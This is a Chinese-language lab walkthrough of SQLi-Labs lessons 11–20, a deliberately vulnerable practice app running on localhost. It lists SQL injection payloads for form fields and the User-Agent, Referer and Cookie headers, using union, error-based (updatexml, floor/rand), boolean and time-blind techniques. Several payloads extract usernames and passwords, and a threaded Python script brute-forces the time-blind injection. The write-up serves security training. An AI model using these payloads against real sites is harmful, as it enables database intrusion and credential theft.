[靶场] SQLi-Labs Less11-Less20

提供主要的语句,略去探测数据库名,表名,字段名的步骤。 

11.Less11

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型单引号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1'&passwd=2
uname=1'3&passwd=2
uname=1'3"&passwd=2

3. 执行注入的SQL

uname=1' or 1 %23&passwd=2

uname=1'  or 1 order by 2 %23&passwd=2
uname=1'  or 1 order by 3 %23&passwd=2
uname=1'  and 0 union select 1,2 %23&passwd=2

4. 数据获取

uname=1'  and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2

12.Less12

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型双引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1"&passwd=2
uname=1"3&passwd=2

3. 执行注入的SQL

uname=1")  or 1 %23&passwd=2

4. 数据获取

后面语句同Less11,将单引号闭合,换位双引号+括号闭合。

uname=1")  and 0 union select 1,group_concat(0x7e,username, password) from users %23&passwd=2

13.Less13

请求方式注入方式类型备注
POST双注入字符型单引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1'&passwd=2
uname=1'3&passwd=2

3. 执行注入的SQL

uname=1') or 1 %23 &passwd=2

uname=1') or 1 order by 2  %23 &passwd=2
uname=1') or 1 order by 3  %23 &passwd=2
uname=1') and 0  union select 1,2  %23 &passwd=2

4. 数据获取

uname=1') and 0  union select 1, count(*) from information_schema.tables group by  concat(floor(rand(0)*2),  0x7e,  (select @@version)  )   %23 &passwd=2

uname=1') and 0  union select 1, count(*) from information_schema.tables group by  concat(floor(rand(0)*2),  0x7e,  (select concat_ws(0x7e,username,password) from (select * from users limit 0,1)x)  )   %23 &passwd=2

14.Less14

请求方式注入方式类型备注
POST双注入字符型双引号闭合

1. 正常提交

uname=1&passwd=2

2. 语句报错

uname=1&passwd=2"

3. 执行注入的SQL

uname=1&passwd=2" or 1 %23

uname=1&passwd=2" or 1 order by 2 %23
uname=1&passwd=2" or 1 order by 3 %23
uname=1&passwd=2" or 1 union select 1,2  %23

4. 数据获取

uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e,   (  select version()  )  )  %23

uname=1&passwd=2" or 1 union select 1, count(*) from information_schema.tables group by concat( floor(rand(0)*2), 0x7e,   (  select  table_name  from information_schema.tables where table_schema = database() limit 0,1  )  )  %23

15.Less15

请求方式注入方式类型备注
POST时间盲注字符型单引号闭合

1. 正常提交

uname=1&passwd=2

2. 执行注入的SQL

uname=1' or sleep(0.2)  %23&passwd=2

uname=1' or if(1,sleep(0.2),1)  %23&passwd=2
uname=1' or if(0,sleep(0.2),1)  %23&passwd=2

3. 数据获取

以爆破数据库版本名为例,测试时间盲注语句是否执行。

uname=1' or if(   (select ascii(substr( (select @@version) ,1,1)))  >0  ,sleep(0.2),1)  %23&passwd=2
uname=1' or if(   (select ascii(substr( (select @@version) ,1,1)))  >100  ,sleep(0.2),1)  %23&passwd=2

可以成功执行,我们使用代码爆破(代码见SqliLabs Less1-Less10),在源代码稍作修改为POST请求。

import requests
import time
import _thread
import threading

# 盲注爆破
charList = []
info = {}

urlTemplate = "http://127.0.0.1:8003/Less-15/"

postData = {
    'uname': "1'  or if(   (select ascii(substr( (select @@version) ,{},1)))  ={}  ,sleep(0.2),1) #",
    'passwd': "2"
}

lock = threading.Lock()
allNumber = 8
runing = 0


def loadDict(file):
    global charList
    with open(file, 'r', encoding='utf-8') as f:
        charList += f.read().split('\n')
        print('Dict Loaded')
        print(len(charList))


def req(name, n):
    global version, allNumber, runing
    for i in range(n, n + 1, 1):
        for j in range(0, len(charList)):
            url = urlTemplate
            pd = postData.copy()
            pd['uname'] = pd['uname'].format(str(i), charList[j])
            print('.', end='')
            time_start = time.time()
            r = requests.post(url=url, data=pd)
            time_end = time.time()
            timeReal = time_end - time_start
            if timeReal > 4:
                lock.acquire()
                info[i] = chr(int(charList[j]))
                runing -= 1
                lock.release()
                print('{}:Find [{}] [{}/{}]'.format(name, chr(int(charList[j])), str(runing), str(allNumber)))
                break


def conv(info={}):
    res = []
    info = sorted(info.items(), key=lambda x: x[0], reverse=False)
    for i in info:
        res.append(i[1])
    return ''.join(res)


def main():
    global runing
    loadDict('../../字典/ascii_dict/ascii_数字+符号.txt')
    time_start = time.time()
    try:
        for i in range(1, allNumber + 1, 1):
            th = threading.Thread(target=req, args=('T-{}'.format(str(i)), i))
            runing += 1
            th.start()
    except:
        print('线程启动异常')
    while threading.activeCount() != 1:
        pass
    time_end = time.time()
    print('\nresult:')
    print(conv(info))
    print('time:' + str(int((time_end - time_start) / 60)) + 'm')


if __name__ == '__main__':
    main()

得到结果:

爆破数据库数据同理。

16.Less16

请求方式注入方式类型备注
POST布尔注入字符型双引号、括号闭合

1. 正常提交

uname=1&passwd=2

2. 执行注入的SQL

uname=1&passwd=2' or 1  #
uname=1&passwd=2" or 1  #
uname=1&passwd=2') or 1  #
uname=1&passwd=2") or 1  #

只有passwd=2")可以成功执行,可以判断为双引号、括号闭合。 

uname=1&passwd=2") or if(1,1,0)  #
uname=1&passwd=2") or if(0,1,0)  #

3. 数据获取

以获取数据库版本为例。

uname=1&passwd=2") or if(  (select ascii(substr(  (select @@version) ,1,1))) >0    ,1,0)  #
uname=1&passwd=2") or if(  (select ascii(substr(  (select @@version) ,1,1))) >100  ,1,0)  #

使用BurpSuite进行爆破。

 对结果进行处理,即可得到版本号。

17.Less17

请求方式注入方式类型备注
POST基于报错注入(updatexml函数)字符型update语句注入

假定我们提前取得了某个用户名:dumb

1. 正常提交

uname=dumb&passwd=1

2. 语句报错

uname=dumb&passwd=1'2"

3. 执行注入的SQL

uname=dumb&passwd=1' or 1 or '
uname=dumb&passwd=1' or (select 1) or '

4. 数据获取

uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select @@version))  ,1)) or '

uname=dumb&passwd=1' or (select updatexml(1, concat(0x7e, (select concat(username, 0x7e, password)  from (select * from users limit 0,1)x))  ,1)) or '

18.Less18

请求方式注入方式类型备注
POST报错注入(updatexml函数)字符型UA注入点,单引号闭合

已经提前取得一个用户信息,用户名dumb,密码2

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

PostData:
uname=dumb&passwd=2

UA:
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

2. 语句报错

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.01'2"

 可以判断是单引号闭合,并且这可能是insert或update语句,我们闭合前后引号,使用or连接报错函数进行报错。

3. 执行注入的SQL

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,1,1) or '1

没有报错,成功执行。 

4. 数据获取

以获取数据库版本为例。

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select @@version)),1) or '1

查询数据库数据。

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 ' or updatexml(1,concat(0x7e, (select  concat_ws(0x7e,username,password) from (select * from users limit 0,1)x  )),1) or '1

19.Less19

请求方式注入方式类型备注
POST基于报错注入(双注入函数)字符型Referer注入点,单引号闭合

已经提前取得一个用户信息,用户名dumb,密码2

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

PostData:
uname=dumb&passwd=2

Referer:
http://127.0.0.1:8003/Less-19/

2. 语句报错

Referer: http://127.0.0.1:8003/Less-19/1'2"3

3. 执行注入的SQL

Referer: http://127.0.0.1:8003/Less-19/ ' or 1 or '1
Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, 1 ,1) or  '1

4. 数据获取

Referer: http://127.0.0.1:8003/Less-19/ ' or updatexml(1, concat(0x7e, (select @@version)) ,1) or  '1

其他语句同理,在修改 select @@version即可。

20.Less20

请求方式注入方式类型备注
POST基于报错注入(Union内联注入)字符型Cookie注入点,单引号闭合

已经提前取得一个用户信息,用户名dumb,密码2

并且之后的操作都是用BurpSuite的重发器测试。

1. 正常提交

首先正常登陆上去。

2. 语句报错

Cookie: uname=Dumb1'2"3

3. 执行注入的SQL

Cookie: uname=Dumb ' or 1 --+
Cookie: uname=Dumb ' order by 3 --+
Cookie: uname=Dumb ' order by 4 --+

Cookie: uname=Dumb ' and 0  union select 111,222,333  --+

4. 数据获取

Cookie: uname=Dumb ' and 0  union select 111,222,@@version  --+
Cookie: uname=Dumb ' and 0  union select 111,222,group_concat(username, ':', password) from users  --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值